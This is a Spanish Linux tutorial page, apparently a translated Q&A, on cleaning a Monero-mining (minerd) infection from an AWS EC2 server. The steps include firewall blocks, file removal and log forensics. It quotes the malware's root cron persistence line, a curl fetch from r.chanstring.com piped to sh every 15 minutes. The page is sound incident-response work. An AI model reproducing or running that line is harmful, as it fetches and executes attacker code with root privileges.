GNU/Linux >> Tutoriales Linux >  >> Linux

¿Cómo puedo eliminar el malware minero en una instancia de AWS EC2?

Encontré la solución para eliminar minerd . Tuve la suerte de encontrar el script real que se utilizó para infectar mi servidor. Todo lo que tenía que hacer era eliminar los elementos colocados por este script -

  1. Por sugerencia de monkeyoto, bloqueé todas las comunicaciones con el servidor del grupo de minería - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP y iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP .
  2. Eliminó el cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh de /var/spool/cron/root y /var/spool/cron/crontabs/root .
  3. Eliminó el directorio /opt/yam .
  4. Eliminado /root/.ssh/KHK75NEOiq .
  5. Eliminó los archivos /opt/minerd y /opt/KHK75NEOiq33 .
  6. Detuvo el proceso de minerd - pkill minerd .
  7. Detenido lady - service lady stop .

Ejecuté ps -eo pcpu,args --sort=-%cpu | head , top -bn2 |sed -n '7,25'p y ps aux | grep minerd después de eso, el malware no se veía por ninguna parte.

Todavía necesito averiguar cómo obtuvo acceso al sistema, pero pude desactivarlo de esta manera.


Su primer objetivo es (si no desea reinstalar) determinar cómo logró llegar allí en primer lugar. Si el atacante era astuto, ejecutaría "timestomp" para modificar las fechas de los archivos binarios. Minimizar SSH hace poco si está ejecutando una versión vulnerable de Wordpress, Joomla o algo diferente. Por ejemplo, hubo un exploit de Nagios que fue utilizado por alguien para ejecutar minerd. Entonces, el objetivo... "Determinar qué se está ejecutando, por qué se está ejecutando y si es vulnerable".

En segundo lugar, desea bloquear todas las comunicaciones hacia y desde el servidor del pool de minería:

iptables -A INPUT -S xmr.crypto-pool.fr -j DROP

Entonces, ¿cómo determina qué fue modificado/cambiado/vulnerable? Necesita entender su sistema. Qué hace, por qué lo hace y quién necesita acceder a él. Buscaría en mis crontabs para ver qué, si algo está comenzando. Podrías ejecutar:service --status-all para ver qué servicios se están ejecutando/iniciando e investigarlos. /opt/minerd parece ser un archivo, haga una suma de verificación de ese archivo y podría crear un script para buscar cualquier cosa que llame a ese archivo, o cualquier archivo que coincida, por ejemplo:find / | xargs grep -i minerd o find / | xargs grep -i CHECKSUM_of_MINERD (Tenga en cuenta que esta es una forma brutal de buscar dentro de los archivos).

Tercero, revisa tus registros. Si está ejecutando un servidor web, comenzaría con los registros de errores (error_logs) y buscaría múltiples 403 y 404 desde una dirección seguida de una conexión exitosa en access_log. Verifique la ruta que se aceptó (por ejemplo, 200:/var/www/nagios_or_something_vulnerable/config.php) y busque dentro del directorio. Hay muchos enfoques para encontrar esta información, pero ninguno aquí puede darle una respuesta completa, ya que solo podemos inferir información en función de la cantidad limitada de información que publica.

"¡Tengo un archivo llamado minerd comenzando!" Busque ese archivo. (find /|xargs grep -i minerd ). "¡Usa esta extraña cuerda!" (find / |xargs grep -i 47TS1NQvebb3Feq ). "¡Hace una conexión al puerto 8080!" (lsof -i | awk '/8080|http-alt/{print $1"\t"$2"\t"$8"\t"$9}' ). "¡Se está conectando a esta dirección!" (lsof -i | grep xmr.crypto ... Ahí tienes ahora una línea de base de las cosas que puedes hacer.


El problema es que el minero es probablemente la carga útil de algún (otro) malware, por lo que realmente no se puede saber qué más se ha comprometido en el sistema. Posiblemente no haya nada más residente en el sistema, y ​​solo te vuelvas a infectar cada vez que mates al minero.

Alternativamente, hay algún proceso de administración/cuentagotas que ha abierto una puerta trasera en su servidor.

La apuesta más segura es recrear el servidor. Pero si desea escanearlo, puede obtener Sophos Anti-Virus de forma gratuita en https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-linux.aspx


Linux
  1. Cree una instancia EC2 en AWS usando Terraform

  2. Cómo crear una instancia RDS en AWS usando Terraform

  3. ¿Cómo puedo eliminar el puerto TCP 16969 en Bash?

  4. Cómo instalar jq en la instancia Amazon EC2

  5. ¿Cómo puedo eliminar todos los trabajos detenidos?

Cómo administrar instancias de AWS EC2 usando aws-cli

Cómo configurar una instancia RDS MySql (Relation Database MySql) en AWS

Qué es Terraform y cómo instalarlo y usarlo en AWS EC2

Cómo crear una instancia Amazon AWS EC2 usando Python Boto3

Cómo crear una instancia Ubuntu EC2 en AWS

Cómo instalar Rocky Linux 8 en la instancia Amazon AWS Ec2